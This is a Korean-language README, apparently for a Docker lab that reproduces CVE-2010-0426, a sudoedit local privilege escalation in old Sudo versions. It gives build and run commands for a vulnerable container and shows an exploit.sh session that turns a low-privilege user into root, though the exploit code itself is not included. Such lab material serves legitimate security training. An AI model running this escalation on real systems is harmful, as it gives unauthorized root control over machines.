
Sudo 1.6.x <= 1.6.9p21 및 1.7.x <= 1.7.2p4 로컬 권한 상승 및 취약한 컨테이너
Sudo (su "do")는 시스템 관리자가 특정 사용자(또는 사용자 그룹)에게 모든 명령과 인수를 기록하면서 일부(또는 모든) 명령을 root로 실행할 수 있는 권한을 부여할 수 있게 해줍니다.
테스트를 위해 취약한 환경을 설정하려면 Docker가 설치되어 있어야 하며, 다음 명령을 실행하기만 하면 됩니다:
docker build -t privesc/cve-2010-0426 .
docker run --rm -it privesc/cve-2010-0426
그러면 낮은 사용자 권한의 대화형 셸이 실행됩니다.
버그는 sudoedit에서 발견되었으며, 'sudoedit' 명령을 올바르게 처리하지 않아 악의적인 사용자가 실제 sudoedit 명령을 임의의 명령으로 대체할 수 있습니다.
로컬 공격자는 이 문제를 악용하여 'root' 사용자로 임의의 명령을 실행할 수 있습니다. 성공적인 익스플로잇은 영향을 받는 컴퓨터를 완전히 손상시킬 수 있습니다.
이 대상을 익스플로잇하려면 다음을 실행하기만 하면 됩니다:
./exploit.sh
이 취약한 이미지를 사용하는 경우 다음을 실행하면 됩니다:
user@023b47ff82ca:~$ sudo -V
Sudo version 1.7.2
user@023b47ff82ca:~$ sudo -l
User user may run the following commands on this host:
(root) NOPASSWD: sudoedit /etc/fstab
user@023b47ff82ca:~$ ./exploit.sh /etc/fstab
[+] CVE-2010-0426 exploit by t0kx
[+] Prepared sudoedit...
[+] Run sudoedit
root@023b47ff82ca:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@023b47ff82ca:/tmp#
이 결함은 Slouching이 발견했습니다.
이 프로그램 또는 이전 프로그램은 교육 목적으로 만 사용됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(t0kx)는 이 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생하는 모든 손해에 대해 책임을 지지 않습니다. 작성자 또는 인터넷 서비스 제공자는 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 손상 등)가 t0kx의 책임이 아님을 인정합니다.